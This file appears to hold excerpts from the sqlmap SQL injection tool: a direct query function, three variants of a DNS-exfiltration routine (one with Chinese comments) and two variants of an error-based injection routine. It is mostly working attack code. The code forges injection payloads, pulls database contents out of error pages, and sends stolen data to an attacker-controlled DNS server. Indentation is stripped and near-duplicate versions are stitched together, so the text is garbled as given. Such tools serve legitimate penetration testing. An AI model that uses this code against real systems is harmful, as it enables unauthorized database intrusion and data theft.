def direct(query, content=True):
select = True
query = agent.payloadDirect(query)
query = agent.adjustLateValues(query)
threadData = getCurrentThreadData()
if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper():
query = "%s FROM DUAL" % query
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement":
select = False
break
if select:
if re.search(r"(?i)\ASELECT ", query) is None:
query = "SELECT %s" % query
if conf.binaryFields:
for field in conf.binaryFields:
field = field.strip()
if re.search(r"\b%s\b" % re.escape(field), query):
query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query)
logger.log(CUSTOM_LOGGING.PAYLOAD, query)
output = hashDBRetrieve(query, True, True)
start = time.time()
if not select and re.search(r"(?i)\bEXEC ", query) is None:
timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query):
output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
if state == TIMEOUT_STATE.NORMAL:
hashDBWrite(query, output, True)
elif state == TIMEOUT_STATE.TIMEOUT:
conf.dbmsConnector.close()
conf.dbmsConnector.connect()
elif output:
infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
logger.info(infoMsg)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
if not output:
return output
elif content:
if output and isListLike(output):
if len(output[0]) == 1:
output = [_[0] for _ in output]
retVal = getUnicode(output, noneToNull=True)
return safecharencode(retVal) if kb.safeCharEncode else retVal
else:
return extractExpectedValue(output, EXPECTED.BOOL)
def dnsUse(payload, expression):
"""
Retrieve the output of a SQL query taking advantage of the DNS
resolution mechanism by making request back to attacker's machine.
"""
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
output = decodeHexValue(output) if conf.hexConvert else output
kb.dnsMode = False
if output is not None:
retVal = output
if kb.dnsTest is not None:
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsName:
warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return safecharencode(retVal) if kb.safeCharEncode else retVal
def dnsUse(payload, expression):
"""
通过向攻击者的机器发出请求，获取利用DNS解析机制的SQL查询的输出.
"""
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsDomain and Backend.getIdentifiedDbms() in (
DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
# 用于DNS技术中名称解析请求的前缀和后缀字符串的字母（不包括不与内容混合的十六进制字符）
# DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters)
prefix, suffix = (
"%s" %
randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET)
for _ in xrange(2))
# MAX_DNS_LABEL = 63
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms(
) in (DBMS.ORACLE, DBMS.MYSQL,
DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(
expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
extendedField = re.search(
r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr),
expression).group(0)
if extendedField != fieldToCastStr: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(
fieldToCastStr, nulledCastedField)
fieldToCastStr = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms(
)].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(
fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(),
"dns_request",
PREFIX=prefix,
QUERY=expressionReplaced,
SUFFIX=suffix,
DOMAIN=conf.dnsDomain)
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[
Backend.getIdentifiedDbms()].comment.query)
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(
payload,
(expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload,
content=False,
noteResponseTime=False,
raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult(
"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
output = decodeHexValue(output) if conf.hexConvert else output
kb.dnsMode = False
if output is not None:
retVal = output
if kb.dnsTest is not None:
dataToStdout("[%s] [INFO] %s: %s\n" %
(time.strftime("%X"), "retrieved" if count > 0
else "resumed", safecharencode(output)))
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = u"在%.2f秒内执行了%d个查询" % (count,
calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsDomain:
warnMsg = "通过SQL注入DNS数据这种渗透方法"
warnMsg += "目前不适用于DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return safecharencode(retVal) if kb.safeCharEncode else retVal
def dnsUse(payload, expression):
"""
Retrieve the output of a SQL query taking advantage of the DNS
resolution mechanism by making request back to attacker's machine.
"""
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
output = decodeHexValue(output) if conf.hexConvert else output
kb.dnsMode = False
if output is not None:
retVal = output
if kb.dnsTest is not None:
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsName:
warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
rotator = 0
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" %
_formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)
) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..."
logger.debug(debugMsg)
seen = set()
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
if Backend.isDbms(DBMS.ORACLE):
testQuery = "RPAD('%s',%d,'%s')" % (testChar, current,
testChar)
else:
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(
DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery)
if conf.hexConvert else testQuery)
result = unArrayizeValue(
_oneShotErrorUse(testQuery, chunkTest=True))
seen.add(current)
if (result or "").startswith(testChar):
if result == testChar * current:
kb.errorChunkLength = current
break
else:
result = re.search(r"\A\w+", result).group(0)
candidate = len(result) - len(kb.chars.stop)
current = candidate if candidate != current and candidate not in seen else current - 1
else:
current = current // 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue:
try:
while True:
check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start,
kb.chars.stop)
trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE,
DBMS.ORACLE)
) and not any(_ in field for _ in ("COUNT", "CASE")
) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(
r"[^ ,]*%s[^ ,]*" % re.escape(field),
expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(
field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms(
)].substring.query % (nulledCastedField, offset,
kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = getTechniqueData().vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField,
1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers, _ = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(getTechnique())
if page and conf.noEscape:
page = re.sub(
r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" %
(kb.chars.start, kb.chars.stop), "", page)
# Parse the returned page to get the exact error-based
# SQL injection output
output = firstNotNone(
extractRegexResult(check, page),
extractRegexResult(
check, threadData.lastHTTPError[2]
if wasLastResponseHTTPError() else None),
extractRegexResult(
check,
listToStrValue((
headers[header] for header in headers
if header.lower() != HTTP_HEADER.URI.lower()
) if headers else None)),
extractRegexResult(
check, threadData.lastRedirectMsg[1]
if threadData.lastRedirectMsg
and threadData.lastRedirectMsg[0]
== threadData.lastRequestUID else None))
if output is not None:
output = getUnicode(output)
else:
trimmed = firstNotNone(
extractRegexResult(trimCheck, page),
extractRegexResult(
trimCheck, threadData.lastHTTPError[2]
if wasLastResponseHTTPError() else None),
extractRegexResult(
trimCheck,
listToStrValue((
headers[header] for header in headers
if header.lower() != HTTP_HEADER.URI.lower()
) if headers else None)),
extractRegexResult(
trimCheck, threadData.lastRedirectMsg[1]
if threadData.lastRedirectMsg
and threadData.lastRedirectMsg[0]
== threadData.lastRequestUID else None))
if trimmed:
if not chunkTest:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not kb.testMode:
check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:
2]
output = extractRegexResult(
check, trimmed, re.IGNORECASE)
if not output:
check = r"(?P<result>[^\s<>'\"]+)"
output = extractRegexResult(
check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE,
DBMS.ORACLE)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and kb.errorChunkLength and len(
output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
else:
break
if output and conf.verbose in (1, 2) and not any(
(conf.api, kb.bruteMode)):
if kb.fileReadMode:
dataToStdout(
_formatPartialContent(output).replace(
r"\n", "\n").replace(r"\t", "\t"))
elif offset > 1:
rotator += 1
if rotator >= len(ROTATING_CHARS):
rotator = 0
dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression,
"%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, six.string_types):
retVal = htmlUnescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
rotator = 0
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..."
logger.debug(debugMsg)
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
if (result or "").startswith(testChar):
if result == testChar * current:
kb.errorChunkLength = current
break
else:
result = re.search(r"\A\w+", result).group(0)
candidate = len(result) - len(kb.chars.stop)
current = candidate if candidate != current else current - 1
else:
current = current / 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue:
try:
while True:
check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(kb.technique)
if page and conf.noEscape:
page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)
# Parse the returned page to get the exact error-based
# SQL injection output
output = firstNotNone(
extractRegexResult(check, page),
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
)
if output is not None:
output = getUnicode(output)
else:
trimmed = firstNotNone(
extractRegexResult(trimCheck, page),
extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
)
if trimmed:
if not chunkTest:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not kb.testMode:
check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2]
output = extractRegexResult(check, trimmed, re.IGNORECASE)
if not output:
check = r"(?P<result>[^\s<>'\"]+)"
output = extractRegexResult(check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
else:
break
if output and conf.verbose in (1, 2) and not conf.api:
if kb.fileReadMode:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
elif offset > 1:
rotator += 1
if rotator >= len(ROTATING_CHARS):
rotator = 0
dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal